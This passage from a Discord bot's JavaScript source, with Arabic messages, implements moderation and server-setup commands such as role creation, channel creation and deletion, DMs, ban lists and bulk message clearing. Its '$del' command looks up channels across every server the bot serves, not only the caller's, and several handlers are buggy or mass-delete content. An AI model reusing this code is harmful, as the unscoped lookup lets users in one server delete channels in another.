4371 permissions: []
4372 });
4373 message.guild.createRole({
4374 name: "Members",
4375 color: "#ffffff",
4376 permissions: []
4377 });
4378
4379 message.channel.sendMessage("**الرجاء الانتظار ريث ما يتم صناعه الرتب **");
4380 }
4381});
4382
4383//
4384
4385client.on("message", msg => {
4386 var prefix = "$";
4387 if (!msg.guild) return;
4388 if (msg.content.startsWith(prefix + "channels")) {
4389 if (!msg.member.hasPermission("MANAGE_CHANNELS"))
4390 return msg.channel.send(
4391 `لاتمتلك الصلاحيات لفعل ذلك يلزمك MANAGE_CHANNELS ! :x:`
4392 );
4393
4394 let args = msg.content.split(" ").slice(1);
4395 if (!msg.channel.guild)
4396 return msg.channel
4397 .send("**هذا الأمر فقط للسيرفرات**")
4398 .then(m => m.delete(5000));
4399 let eyadandr3d = new Discord.RichEmbed()
4400 .setThumbnail(msg.author.avatarURL)
4401 .setDescription(
4402 ` ?ان كنت تريد انشاء روم صوتي اظغط علي الايموجي? الان كنت تريد انشاء مستند اضغط علي الايموجي
4403 ✏ان كنت تريد انشاء شات كتابي اظغط علي الايموجي `
4404 )
4405 .setFooter("لديك دقيقه للاختيار");
4406 msg.channel.send(eyadandr3d).then(message => {
4407 message.react("✏").then(r => {
4408 message.react("?").then(r => {
4409 message.react("?").then(r => {
4410 let Category = (reaction, user) =>
4411 reaction.emoji.name === "?" && user.id === msg.author.id;
4412 let Text = (reaction, user) =>
4413 reaction.emoji.name === "✏" && user.id === msg.author.id;
4414 let Voice = (reaction, user) =>
4415 reaction.emoji.name === "?" && user.id === msg.author.id;
4416
4417 let cy = message.createReactionCollector(Category, { time: 60000 });
4418 let tt = message.createReactionCollector(Text, { time: 60000 });
4419 let ve = message.createReactionCollector(Voice, { time: 60000 });
4420
4421 ve.on("collect", r => {
4422 msg.guild.createChannel(args.join(" "), "voice");
4423 msg.channel.send(`☑ تم انشاء روم صوتي بنجاح : \`${args}\``);
4424 msg.delete();
4425 });
4426 tt.on("collect", r => {
4427 msg.guild.createChannel(args.join(" "), "text");
4428 msg.channel.send(`☑ تم انشاء شات كتابي بنجاح : \`${args}\``);
4429 msg.delete();
4430 });
4431 cy.on("collect", r => {
4432 msg.guild.createChannel(args.join(" "), "category");
4433 msg.channel.send(`☑ تم انشاء المستند بنجاح : \`${args}\``);
4434 msg.delete();
4435 });
4436 });
4437 });
4438 });
4439 });
4440 }
4441});
4442
4443////
4444
4445client.on("message", message => {
4446 let args = message.content.split(" ").slice(1);
4447
4448 if (message.content.startsWith(prefix + "dm")) {
4449 if (!message.member.hasPermission("MANAGE_MESSAGES"))
4450 return message.channel.send(
4451 `لاتمتلك الصلاحيات لفعل ذلك يلزمك MANAGE_MESSAGES! :x:`
4452 );
4453
4454 let mnt = message.mentions.users.first();
4455 if (!mnt) return message.reply("Please mention someone!");
4456 mnt
4457 .send(args.join(" ").replace(mnt, ""))
4458 .then(() => {
4459 message.channel.send("Successfully sent the message!");
4460 })
4461 .catch(() => {
4462 message.channel.send("The user have dms disabled");
4463 });
4464 }
4465});
4466//
4467
4468client.on("message", message => {
4469 let prefix = "$";
4470 if (!message.author.bot && message.channel.type == "text")
4471 if (message.content.startsWith(`${prefix}getssl`))
4472 if (message.member.voiceChannel)
4473 message.channel.send(
4474 `https://discordapp.com/channels/${message.guild.id}/${message.member.voiceChannel.id}`
4475 );
4476 else
4477 message.channel.send(
4478 `**يجب عليك ان تكون في الروم الذي تريد جلب رابط مشاركة بالفيديو خاص به**`
4479 );
4480});
4481
4482//
4483
4484client.on("message", message => {
4485 var prefix = "$";
4486 if (message.content.startsWith(prefix + "upembed")) {
4487 if (!message.member.hasPermission("ADMINISTRATOR"))
4488 return message.channel.send(`لاتمتلك الصلاحيات لفعل ذلك! :x:`);
4489
4490 var color = message.content.split(" ")[1];
4491 var text = message.content.split(" ").slice(2);
4492 var tt = text.join(" ");
4493 if (!color) return message.reply("يجب كتابة لون الامبد الذي تريده");
4494 if (!tt) return message.reply("يجب كتابة كلام لتكراره");
4495 let embed = new Discord.RichEmbed().setColor(color).setDescription(tt);
4496 message.channel.send(embed).catch(Julian => {
4497 console.log("`Error`: " + Julian);
4498 message.channel.send("`Error`:" + Julian);
4499 });
4500 }
4501});
4502
4503///
4504
4505client.on("message", async message => {
4506 const arraySort = require("array-sort");
4507 const table = require("table");
4508 if (message.content.toLowerCase().startsWith(prefix + "banlist")) {
4509 let ban = await message.guild.fetchBans().catch(error => {
4510 return message.channel.send(
4511 "Sorry, I don't have the proper permissions to view bans!"
4512 );
4513 });
4514
4515 ban = ban.array();
4516 let users = message.guild.fetchBans().id;
4517 message.channel.send(`**${message.guild.name} Bans List :**`);
4518 ban.forEach(function(ban) {
4519 message.channel.send(`${ban} (${ban.id})`);
4520 });
4521 }
4522});
4523
4524//
4525
4526const google = require("google-it");
4527client.on("message", message => {
4528 let args = message.content.split(" ").slice(1);
4529
4530 if (message.content.startsWith(prefix + "google")) {
4531 const input = args.join(" ");
4532
4533 google({ query: input, disableConsole: true })
4534 .then(results => {
4535 return message.channel.send(
4536 `\n\n**Title**: ${results[0].title}\n***Link***: ${results[0].link}\nDescription: ${results[0].snippet}`
4537 );
4538 })
4539 .catch(error => {
4540 if (error) throw error;
4541 });
4542 }
4543});
4544
4545//
4546client.on("message", message => {
4547 if (message.content.startsWith("$del")) {
4548 if (!message.member.hasPermission("MANAGE_CHANNELS"))
4549 return message.reply("You Don't Have `MANAGE_CHANNELS` Premissions ");
4550
4551 let args = message.content.split(" ").slice(1);
4552 let channel = message.client.channels.find("name", args.join(" "));
4553 if (!channel)
4554 return message
4555 .reply("**لا يوجد اي روم بهاذا الاسم**")
4556 .catch(console.error);
4557 channel.delete();
4558 }
4559});
4560
4561//
4562
4563client.on("message", message => {
4564 if (message.content.startsWith(prefix + "editserver")) {
4565 message.delete(5000);
4566 if (!message.channel.guild) return;
4567 const e = new Discord.RichEmbed()
4568 .setColor("#FFDF02")
4569 .setDescription(`**تم الارسال في الخاص**?`);
4570 const embed = new Discord.RichEmbed()
4571 .setColor("#FFDF02")
4572 .setTitle("اوامر تعديل سيرفر وتسهيله")
4573 .setURL("").setDescription(`
4574${prefix}scr =====> انشاء سيرفر مع الالوان والرولات والرولات الخاصة في البوت والرتب
4575
4576${prefix}cr [role color] [role name] =====> انشاء رتبة في اسم ولون محدد
4577
4578${prefix}setcolor [role] [color] =====> تغير لون رتبة
4579
4580${prefix}createcolor =====> انشاء 132 لون
4581
4582${prefix}channels =====> انشاء جميع الرومات برياكشن
4583
4584${prefix}del =====> مسح روم باسم محدد
4585
4586${prefix}dcolors =====> مسح جميع الالوان
4587
4588${prefix}croles =====> يسويلك رولات سيرفر
4589
4590${prefix}hide/unhide =====> اخفاء سيرفر للاصلاحات
4591
4592${prefix}hidechannel/unhidechannel =====>اظهار الشات واخفائه
4593
4594${prefix}mutechannel/unmutechannel =====>قفل المحادثة في الشات واظهارها
4595
4596${prefix}ads=====> رسالة تذكير بوقت معين بروم معين
4597
4598${prefix}clear =====> مسح الشات
4599
4600${prefix}ca =====> مسح شات برياكشن بدون عدد
4601
4602${prefix}clr =====> مسح شات برياكشن مع عدد
4603
4604${prefix}dr =====> مسح كل الرولات
4605
4606${prefix}dm =====>ارسال رسالة لعضو معين من المنشن
4607
4608${prefix}dc =====> مسح كل الرومات
4609
4610${prefix}setmember =====> انشاء روم يعرض اعضاء سيرفر
4611
4612${prefix}setstats =====> روم الفويس اونلاين والتاريخ والوقت (تحت تطوير)
4613
4614
4615لدخول سيرفر السبورت
4616
4617
4618https://discord.gg/JfKzBV2
4619`);
4620 message.channel.send(e).then(m => m.delete(5000));
4621 message.author
4622 .sendEmbed(embed)
4623 .catch(error => message.reply("**خاصك مقفول**?"));
4624 }
4625});
4626
4627//
4628client.on("message", message => {
4629 if (!message.channel.guild) return;
4630 if (message.author.bot) return;
4631 if (message.content === prefix + "image") {
4632 const embed = new Discord.RichEmbed()
4633
4634 .setTitle(`This is ** ${message.guild.name} ** Photo !`)
4635 .setAuthor(message.author.username, message.guild.iconrURL)
4636 .setColor(0x164fe3)
4637 .setImage(message.guild.iconURL)
4638 .setURL(message.guild.iconrURL)
4639 .setTimestamp();
4640
4641 message.channel.send({ embed });
4642 }
4643});
4644
4645client.on("message", msg => {
4646 if (!msg.guild.roles.exists("name", "autoclear100")) return;
4647 let limit = 100; // عدد الرسائل المسموح بها قبل التنضيف
4648 if (msg.channel.type !== "text") return;
4649 msg.channel.fetchMessages().then(mm => {
4650 if (mm.size >= limit) {
4651 msg.channel
4652 .bulkDelete(100)
4653 .then(() => {
4654 const embed = new Discord.RichEmbed()
4655 .setColor(0xf16104)
4656 .setDescription(
4657 "جاري الحذف يمكنك فقط حذف الرسائل التي يقل عمرها عن 14 يومًا."
4658 );
4659 msg.channel.send({ embed }).then(z => z.delete(1600));
4660 })
4661 .catch(err => msg.channel.send());
4662 }
4663 });
4664});
4665
4666client.on("message", msg => {
4667 if (!msg.guild.roles.exists("name", "clearall")) return;
4668 var limit = 3; // عدد الرسائل المسموح بها قبل التنضيف
4669 if (msg.channel.type !== "text") return;
4670 msg.channel.fetchMessages().then(mm => {
4671 if (mm.size >= limit) {
4672 msg.channel
4673 .bulkDelete(100)
4674 .then(() => {
4675 const embed = new Discord.RichEmbed()
4676 .setColor(0xf16104)
4677 .setDescription(
4678 "جاري الحذف يمكنك فقط حذف الرسائل التي يقل عمرها عن 14 يوما الرجاء حذف الرول الخاص بل تفعيل عند الانتهاء."
4679 );
4680 msg.channel.send({ embed }).then(z => z.delete(1600));
4681 })
4682 .catch(err => msg.channel.send());
4683 }
4684 });
4685});
4686
4687client.on("message", message => {
4688 var prefix = "$";
4689 if (!message.channel.guild) return;
4690 if (message.content.startsWith(prefix + "ca")) {
4691 if (!message.channel.guild)
4692 return message.channel
4693 .send("**This Command is Just For Servers**")
4694 .then(m => m.delete(5000));
4695 if (!message.member.hasPermission("MANAGE_MESSAGES"))
4696 return message.channel.send(
4697 "**You Do not have permission** `MANAGE_MESSAGES`"
4698 );
4699 let args = message.content
4700 .split(" ")
4701 .join(" ")
4702 .slice(2 + prefix.length);
4703 let request = `Requested By ${message.author.username}`;
4704 message.channel
4705 .send(`**Are You sure you want to clear the chat?**`)
4706 .then(msg => {
4707 msg
4708 .react("✅")
4709 .then(() => msg.react("❌"))
4710 .then(() => msg.react("✅"));
4711
4712 let reaction1Filter = (reaction, user) =>
4713 reaction.emoji.name === "✅" && user.id === message.author.id;
4714 let reaction2Filter = (reaction, user) =>
4715 reaction.emoji.name === "❌" && user.id === message.author.id;
4716
4717 let reaction1 = msg.createReactionCollector(reaction1Filter, {
4718 time: 12000
4719 });
4720 let reaction2 = msg.createReactionCollector(reaction2Filter, {
4721 time: 12000
4722 });
4723 reaction1.on("collect", r => {
4724 message.channel.send(`Chat will delete`).then(m => m.delete(5000));
4725 var msg;
4726 msg = parseInt();
4727
4728 message.channel
4729 .fetchMessages({ limit: msg })
4730 .then(messages => message.channel.bulkDelete(messages))
4731 .catch(console.error);
4732 message.channel
4733 .sendMessage("", {
4734 embed: {
4735 title: "`` Chat Deleted ``",
4736 color: 0x06df00,
4737 footer: {}
4738 }
4739 })
4740 .then(msg => {
4741 msg.delete(3000);
4742 });
4743 });
4744 reaction2.on("collect", r => {
4745 message.channel
4746 .send(`**Chat deletion cancelled**`)
4747 .then(m => m.delete(5000));
4748 msg.delete();
4749 });
4750 });
4751 }
4752});
4753
4754client.on("message", message => {
4755 if (message.content.startsWith(prefix + "bot")) {
4756 message.channel.send({
4757 embed: new Discord.RichEmbed()
4758 .setAuthor(client.user.username, client.user.avatarURL) //Me » Khaled
4759 .setThumbnail(client.user.avatarURL)
4760 .setColor("RANDOM")
4761 .setTitle("``Info Your Server`` ")
4762 .addField(
4763 "``My Ping``",
4764 [`${Date.now() - message.createdTimestamp}` + "MS"],
4765 true
4766 )
4767 .addField(
4768 "``RAM Usage``",
4769 `[${(process.memoryUsage().rss / 1048576).toFixed()}MB]`,
4770 true
4771 )
4772 .addField("``servers``", [client.guilds.size], true)
4773 .addField("``channels``", `[ ${client.channels.size} ]`, true)
4774 .addField("``Users``", `[ ${client.users.size} ]`, true)
4775 .addField("``My Name``", `[ ${client.user.username} ]`, true)
4776 .addField("``My ID``", `[ ${client.user.id} ]`, true)
4777 .addField("``My Prefix``", `[ ${prefix} ]`, true)
4778 .addField("``My Language``", `[ Java Script ]`, true)
4779 .setFooter("لدخول سيرفر السبورت $support ")
4780 });
4781 }
4782});
4783
4784//
4785
4786//
4787
4788client.on("message", async message => {
4789 if (message.content.startsWith(prefix + "temp")) {
4790 await message.channel.send("ارسل اسم الروم").then(e => {
4791 let filter = m => m.author.id === message.author.id;
4792 let name = "";
4793 let time = "";
4794 let type = "";
4795 let limit = "";
4796
4797 message.channel
4798 .awaitMessages(filter, { max: 1, time: 20000, errors: ["time"] })
4799 .then(collected => {
4800 name = collected.first().content;
4801 collected.first().delete();
4802
4803 e.edit("ارسل مدة الروم بالدقائق لااقل من 2 ولا اعلى من 180");
4804 message.channel
4805 .awaitMessages(filter, { max: 1, time: 20000, errors: ["time"] })
4806 .then(co => {
4807 if (isNaN(co.first().content))
4808 return message.reply("الوقت بالدقائق ! ارقام فقطٍ");
4809 if (co.first().content > 180 || co.first().content < 2)
4810 return message.channel.send(
4811 "لا اقل من دقيقتان ولا اكثر من 180 دقيقه"
4812 );
4813 time = co.first().content;
4814 co.first().delete();
4815 e.edit("ارسل نوع الروم text, voice");
4816 message.channel
4817 .awaitMessages(filter, {
4818 max: 1,
4819 time: 20000,
4820 errors: ["time"]
4821 })
4822 .then(col => {
4823 type = col.first().content;
4824 col.first().delete();
4825 e.edit("ارسل عدد الاعضاء الذين يستطيعون الدخول");
4826 message.channel
4827 .awaitMessages(filter, {
4828 max: 1,
4829 time: 20000,
4830 errors: ["time"]
4831 })
4832 .then(coll => {
4833 if (isNaN(coll.first().content))
4834 return message.reply("عدد الاعضاء يكون بالارقام فقط");
4835 limit = coll.first().content;
4836 coll.first().delete();
4837
4838 e.edit("جاري اعداد الغرفه الرجاء الانتظار...");
4839 message.guild.createChannel(name, type).then(c => {
4840 c.edit({
4841 userLimit: limit
4842 });
4843 setTimeout(() => {
4844 c.delete();
4845 message.channel.send("تم انقضاء الوقت");
4846 }, Math.floor(time * 60000));
4847 });
4848 e.edit("تم انشاء الغرفه استمتع");
4849 });
4850 });
4851 });
4852 });
4853 });
4854 }
4855});
4856
4857///
4858
4859var current = false; //By 3Mo_Steve && Alpha COdes
4860client.on("message", async message => {
4861 //By 3Mo_Steve && Alpha COdes
4862 var fs = require("fs"); //npm i fs
4863 var command = message.content.split(" ")[0], //By 3Mo_Steve && Alpha COdes
4864 messagee = message.content
4865 .split(" ")
4866 .slice(1)
4867 .join(" "); //By 3Mo_Steve && Alpha COdes
4868 switch (
4869 command //By 3Mo_Steve && Alpha COdes
4870 ) {
4871 case prefix + "file": //By 3Mo_Steve && Alpha COdes
4872 if (current == true) return message.reply("Please wait a few minute."); //By 3Mo_Steve && Alpha COdes
4873 if (!messagee)
4874 return message.reply(":x: ERROR: type your message after the command!"); //By 3Mo_Steve && Alpha COdes
4875 current = true; //By 3Mo_Steve && Alpha COdes
4876 fs.appendFile(`./${client.user.username}.txt`, `${messagee}`, function(
4877 data,
4878 erorr
4879 ) {
4880 //By 3Mo_Steve && Alpha COdes
4881 message.channel.sendFile(`./${client.user.username}.txt`); //By 3Mo_Steve && Alpha COdes
4882 }); //By 3Mo_Steve && Alpha COdes
4883 setTimeout(() => {
4884 //By 3Mo_Steve && Alpha COdes
4885 fs.unlink(`./${client.user.username}.txt`, function(err) {
4886 //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4887 if (err) throw err;
4888 }); //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4889 current = false; //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4890 }, 4000); //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4891 break; //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4892 } //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4893}); //By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4894//By 3Mo_Steve && Alpha COdes//By 3Mo_Steve && Alpha COdes
4895//By 3M
4896client.on("message", async message => {
4897 //By 3M
4898 if (message.content.startsWith(prefix + "scr")) {
4899 if (!message.member.hasPermission("ADMINISTRATOR"))
4900 return message.channel.send(
4901 `لاتمتلك الصلاحيات لفعل ذلك يلزمك ADMINISTATOR! :x:`
4902 );
4903
4904 //Baron#150//Baron#1500
4905 message.reply("**جارى انشاء الرومات**").then(c => {
4906 //Baron#1500
4907 setTimeout(() => {
4908 c.edit("**تم انشاء الرومات بنجاح**"); //Baron#1500
4909 }, 10000);
4910 });
4911 message.guild
4912 .createChannel(`${message.guild.name}-TEXT`, "category")
4913 .then(tb => {
4914 //Baron#1500
4915 message.guild.createChannel("welcome", "text").then(nws => {
4916 nws.setParent(tb);
4917 nws.overwritePermissions(message.guild.id, {
4918 SEND_MESSAGES: false,
4919 MENTION_EVERYONE: false //Baron#1500
4920 });
4921 });
4922 message.guild.createChannel("goodbye", "text").then(nws => {
4923 nws.setParent(tb);
4924 nws.overwritePermissions(message.guild.id, {
4925 SEND_MESSAGES: false,
4926 MENTION_EVERYONE: false //Baron#1500
4927 });
4928 });
4929 message.guild.createChannel("info", "text").then(inf => {
4930 //Baron#1500
4931 inf.setParent(tb); //Baron#1500
4932 inf.overwritePermissions(message.guild.id, {
4933 //Baron#1500
4934 SEND_MESSAGES: false,
4935 MENTION_EVERYONE: false //Baron#1500
4936 });
4937 });
4938 message.guild.createChannel("news", "text").then(nws => {
4939 nws.setParent(tb);
4940 nws.overwritePermissions(message.guild.id, {
4941 SEND_MESSAGES: false,
4942 MENTION_EVERYONE: false //Baron#1500
4943 });
4944 });
4945 message.guild.createChannel("vote", "text").then(nws => {
4946 nws.setParent(tb);
4947 nws.overwritePermissions(message.guild.id, {
4948 SEND_MESSAGES: false,
4949 MENTION_EVERYONE: false //Baron#
4950 });
4951 });
4952 message.guild.createChannel("order", "text").then(nws => {
4953 nws.setParent(tb);
4954 nws.overwritePermissions(message.guild.id, {
4955 SEND_MESSAGES: false,
4956 MENTION_EVERYONE: false //Baron#1500
4957 });
4958 });
4959 message.guild.createChannel("log-warn", "text").then(nws => {
4960 nws.setParent(tb);
4961 nws.overwritePermissions(message.guild.id, {
4962 SEND_MESSAGES: false,
4963 MENTION_EVERYONE: false //Baron#1500
4964 });
4965 });
4966 message.guild.createChannel("log", "text").then(nws => {
4967 nws.setParent(tb);
4968 nws.overwritePermissions(message.guild.id, {
4969 SEND_MESSAGES: false,
4970 READ_MESSAGES: false,
4971 MENTION_EVERYONE: false //Baron#1500
4972 });
4973 });
4974 message.guild.createChannel("msg-log", "text").then(nws => {
4975 nws.setParent(tb);
4976 nws.overwritePermissions(message.guild.id, {
4977 SEND_MESSAGES: false,
4978 READ_MESSAGES: false,
4979 MENTION_EVERYONE: false //Baron#1500
4980 });
4981 });
4982
4983 message.guild
4984 .createChannel(`${message.guild.name}-TEXT`, "category")
4985 .then(gs => {
4986 //Baron#1500
4987 message.guild.createChannel("chat", "text").then(nws => {
4988 nws.setParent(gs);
4989 nws.overwritePermissions(message.guild.id, {
4990 SEND_MESSAGES: true,
4991 MENTION_EVERYONE: false //Baron#1500
4992 });
4993 });
4994 message.guild.createChannel("commands-bot", "text").then(nws => {
4995 nws.setParent(gs);
4996 nws.overwritePermissions(message.guild.id, {
4997 SEND_MESSAGES: true,
4998 MENTION_EVERYONE: false //Baron#1500
4999 });
5000 });
5001 message.guild.createChannel("spam", "text").then(nws => {
5002 nws.setParent(gs);
5003 nws.overwritePermissions(message.guild.id, {
5004 SEND_MESSAGES: true,
5005 MENTION_EVERYONE: false //Baron#1500
5006 });
5007 });
5008 message.guild
5009 .createChannel(`${message.guild.name}-TEXT`, "category")
5010 .then(mu => {
5011 //Baron#1500
5012 message.guild
5013 .createChannel("commands_music", "text")
5014 .then(nws => {
5015 nws.setParent(mu);
5016 nws.overwritePermissions(message.guild.id, {
5017 SEND_MESSAGES: false,
5018 MENTION_EVERYONE: false //Baron#1500
5019 });
5020 });
5021 message.guild.createChannel("listening", " voice").then(nws => {
5022 nws.setParent(mu);
5023 nws.overwritePermissions(message.guild.id, {
5024 SEND_MESSAGES: false,
5025 MENTION_EVERYONE: false //Baron#1500
5026 });
5027 });
5028
5029 message.guild.createChannel("listening", "voice").then(nws => {
5030 nws.setParent(mu);
5031 nws.overwritePermissions(message.guild.id, {
5032 SEND_MESSAGES: false,
5033 MENTION_EVERYONE: false //Baron#1500
5034 });
5035 });
5036 message.guild.createChannel("listening", "voice").then(nws => {
5037 nws.setParent(mu);
5038 nws.overwritePermissions(message.guild.id, {
5039 SEND_MESSAGES: false,
5040 MENTION_EVERYONE: false //Baron#1500
5041 });
5042 });
5043 message.guild
5044 .createChannel(`${message.guild.name}-TEXT`, "category")
5045 .then(ga => {
5046 //Baron#1500
5047 message.guild
5048 .createChannel("commands_Games", "text")
5049 .then(nws => {
5050 nws.setParent(ga);
5051 nws.overwritePermissions(message.guild.id, {
5052 SEND_MESSAGES: false,
5053 MENTION_EVERYONE: false //Baron#1500
5054 });
5055 });
5056 message.guild.createChannel("start", "text").then(nws => {
5057 nws.setParent(ga);
5058 nws.overwritePermissions(message.guild.id, {
5059 SEND_MESSAGES: false,
5060 MENTION_EVERYONE: false //Baron#1500
5061 });
5062 });
5063 if (!message.channel.guild)
5064 return message.channel.send(
5065 "**This Commnad only For Servers !**"
5066 );
5067 //// حقوق سيرفر كودز
5068 if (!message.member.hasPermission("ADMINISTRATOR"))
5069 return message.channel
5070 .send(
5071 "**You Dont Have** `ADMINISTRATOR` **premission**"
5072 )
5073 .then(msg => msg.delete(6000));
5074 message.guild.createRole({
5075 name: "1",
5076 color: "#FFB6C1", ///////Abdellhadi
5077 permissions: []
5078 });
5079 message.guild.createRole({
5080 name: "2",
5081 color: "#FFC0CB",
5082 permissions: []
5083 }); ///////Abdellhadi
5084 message.guild.createRole({
5085 name: "3",
5086 color: "#FF69B4", ///////Abdellhadi
5087 permissions: []
5088 }); ///////Abdellhadi
5089 message.guild.createRole({
5090 name: "4",
5091 color: "#FF1493", ///////Abdellhadi
5092 permissions: []
5093 });
5094 message.guild.createRole({
5095 name: "5", ///////Abdellhadi
5096 color: "#DB7093",
5097 permissions: []
5098 });
5099 message.guild.createRole({
5100 name: "6",
5101 color: "#C71585",
5102 permissions: []
5103 });
5104 message.guild.createRole({
5105 name: "7", ///////Abdellhadi
5106 color: "#E6E6FA",
5107 permissions: []
5108 });
5109 message.guild.createRole({
5110 name: "8",
5111 color: "#D8BFD8", ///////Abdellhadi
5112 permissions: []
5113 });
5114 message.guild.createRole({
5115 name: "8",
5116 color: "#DDA0DD", ///////Abdellhadi
5117 permissions: []
5118 });
5119 message.guild.createRole({
5120 name: "9",
5121 color: "#DA70D6",
5122 permissions: []
5123 });
5124 message.guild.createRole({
5125 name: "10", ///////Abdellhadi
5126 color: "#EE82EE",
5127 permissions: []
5128 });
5129 message.guild.createRole({
5130 name: "11",
5131 color: "#FF00FF", ///////Abdellhadi
5132 permissions: []
5133 });
5134 message.guild.createRole({
5135 ///////Abdellhadi
5136 name: "12",
5137 color: "#BA55D3",
5138 permissions: [] ///////Abdellhadi
5139 });
5140 message.guild.createRole({
5141 ///////Abdellhadi
5142 name: "13",
5143 color: "#9932CC",
5144 permissions: [] ///////Abdellhadi
5145 });
5146 message.guild.createRole({
5147 name: "14",
5148 color: "#9400D3", ///////Abdellhadi
5149 permissions: []
5150 });
5151 message.guild.createRole({
5152 name: "15",
5153 color: "#8A2BE2",
5154 permissions: [] ///////Abdellhadi
5155 });
5156 message.guild.createRole({
5157 name: "16", ///////Abdellhadi
5158 color: "#8B008B",
5159 permissions: []
5160 }); ///////Abdellhadi
5161 message.guild.createRole({
5162 name: "17",
5163 color: "#800080", ///////Abdellhadi
5164 permissions: []
5165 });
5166 message.guild.createRole({
5167 name: "18",
5168 color: "#9370DB",
5169 permissions: []
5170 });
5171 message.guild.createRole({
5172 name: "19", ///////Abdellhadi
5173 color: "#7B68EE",
5174 permissions: []
5175 });
5176 message.guild.createRole({
5177 name: "20",
5178 color: "#6A5ACD",
5179 permissions: []
5180 });
5181 message.guild.createRole({
5182 name: "21",
5183 color: "#483D8B",
5184 permissions: []
5185 });
5186 message.guild.createRole({
5187 name: "22",
5188 color: "#663399",
5189 permissions: []
5190 });
5191 message.guild.createRole({
5192 name: "23",
5193 color: "#4B0082",
5194 permissions: []
5195 });
5196 message.guild.createRole({
5197 name: "24",
5198 color: "#FFA07A",
5199 permissions: []
5200 });
5201 message.guild.createRole({
5202 name: "25",
5203 color: "#FA8072",
5204 permissions: []
5205 });
5206 message.guild.createRole({
5207 name: "26",
5208 color: "#E9967A",
5209 permissions: []
5210 });
5211 message.guild.createRole({
5212 name: "27",
5213 color: "#F08080",
5214 permissions: []
5215 }); ///////Abdellhadi
5216 message.guild.createRole({
5217 name: "28",
5218 color: "#CD5C5C",
5219 permissions: []
5220 });
5221 message.guild.createRole({
5222 name: "29",
5223 color: "#DC143C",
5224 permissions: []
5225 });
5226 message.guild.createRole({
5227 name: "30",
5228 color: " #FF0000",
5229 permissions: []
5230 }); ///////Abdellhadi
5231 message.guild.createRole({
5232 name: "31",
5233 color: "#B22222",
5234 permissions: []
5235 });
5236 message.guild.createRole({
5237 name: "32",
5238 color: "#8B0000",
5239 permissions: []
5240 });
5241 message.guild.createRole({
5242 name: "33",
5243 color: "#FFA500",
5244 permissions: []
5245 }); ///////Abdellhadi
5246 message.guild.createRole({
5247 name: "34",
5248 color: "#FF8C00",
5249 permissions: []
5250 });
5251 message.guild.createRole({
5252 ///////Abdellhadi
5253 name: "35",
5254 color: "#FF7F50",
5255 permissions: [] ///////Abdellhadi
5256 });
5257 message.guild.createRole({
5258 ///////Abdellhadi
5259 name: "36",
5260 color: "#FF6347", ///////Abdellhadi
5261 permissions: []
5262 });
5263 message.guild.createRole({
5264 ///////Abdellhadi
5265 name: "37",
5266 color: "#FF4500",
5267 permissions: [] ///////Abdellhadi
5268 });
5269 message.guild.createRole({
5270 name: "38", ///////Abdellhadi
5271 color: "#FFD700", ///////Abdellhadi
5272 permissions: []
5273 });
5274 message.guild.createRole({
5275 name: "39", ///////Abdellhadi
5276 color: "#FFFFE0",
5277 permissions: []
5278 });
5279 message.guild.createRole({
5280 name: "40",
5281 color: "#FFFACD", ///////Abdellhadi
5282 permissions: []
5283 });
5284 message.guild.createRole({
5285 ///////Abdellhadi
5286 name: "41",
5287 color: "#FAFAD2",
5288 permissions: []
5289 });
5290 message.guild.createRole({
5291 name: "42",
5292 color: " #FFEFD5",
5293 permissions: []
5294 });
5295 message.guild.createRole({
5296 name: "43",
5297 color: "#FFE4B5",
5298 permissions: []
5299 });
5300 message.guild.createRole({
5301 name: "44",
5302 color: "#FFDAB9",
5303 permissions: []
5304 });
5305 message.guild.createRole({
5306 name: "45",
5307 color: "#EEE8AA",
5308 permissions: []
5309 });
5310 message.guild.createRole({
5311 name: "46",
5312 color: "#F0E68C",
5313 permissions: []
5314 });
5315 message.guild.createRole({
5316 name: "47",
5317 color: "#BDB76B",
5318 permissions: []
5319 });
5320 message.guild.createRole({
5321 name: "48",
5322 color: "#ADFF2F",
5323 permissions: []
5324 });
5325 message.guild.createRole({
5326 name: "49",
5327 color: "#7FFF00",
5328 permissions: []
5329 });
5330 message.guild.createRole({
5331 name: "50",
5332 color: "#7CFC00",
5333 permissions: []
5334 });
5335 message.guild.createRole({
5336 name: "51",
5337 color: "#00FF00",
5338 permissions: []
5339 });
5340
5341 message.guild.createRole({
5342 name: "52",
5343 color: "#32CD32",
5344 permissions: []
5345 });
5346 message.guild.createRole({
5347 name: "53",
5348 color: "#98FB98",
5349 permissions: []
5350 });
5351 message.guild.createRole({
5352 name: "54",
5353 color: "#90EE90",
5354 permissions: []
5355 });
5356 message.guild.createRole({
5357 name: "55",
5358 color: "#00FA9A",
5359 permissions: []
5360 });
5361 message.guild.createRole({
5362 name: "56",
5363 color: "#00FF7F",
5364 permissions: []
5365 });
5366 message.guild.createRole({
5367 name: "57",
5368 color: "#3CB371",
5369 permissions: []
5370 });
5371 message.guild.createRole({
5372 name: "58",
5373 color: "#2E8B57",
5374 permissions: []
5375 });
5376 message.guild.createRole({
5377 name: "59",
5378 color: "#2E8B57",
5379 permissions: []
5380 });
5381 message.guild.createRole({
5382 name: "60",
5383 color: "#008000",
5384 permissions: []
5385 });
5386 message.guild.createRole({
5387 name: "61",
5388 color: "#006400",
5389 permissions: []
5390 });
5391 message.guild.createRole({
5392 name: "62",
5393 color: "#9ACD32",
5394 permissions: []
5395 });
5396 message.guild.createRole({
5397 name: "63",
5398 color: "#6B8E23",
5399 permissions: []
5400 });
5401 message.guild.createRole({
5402 name: "64",
5403 color: "#556B2F",
5404 permissions: []
5405 });
5406 message.guild.createRole({
5407 name: "65",
5408 color: "#66CDAA",
5409 permissions: []
5410 });
5411 message.guild.createRole({
5412 name: "66",
5413 color: "#8FBC8F",
5414 permissions: []
5415 });
5416 message.guild.createRole({
5417 name: "67",
5418 color: "#20B2AA",
5419 permissions: []
5420 });
5421 message.guild.createRole({
5422 name: "68",
5423 color: "#008B8B",
5424 permissions: []
5425 });
5426 message.guild.createRole({
5427 name: "69",
5428 color: "#008080",
5429 permissions: []
5430 });
5431 message.guild.createRole({
5432 name: "70",
5433 color: "#00FFFF",
5434 permissions: []
5435 });
5436 message.guild.createRole({
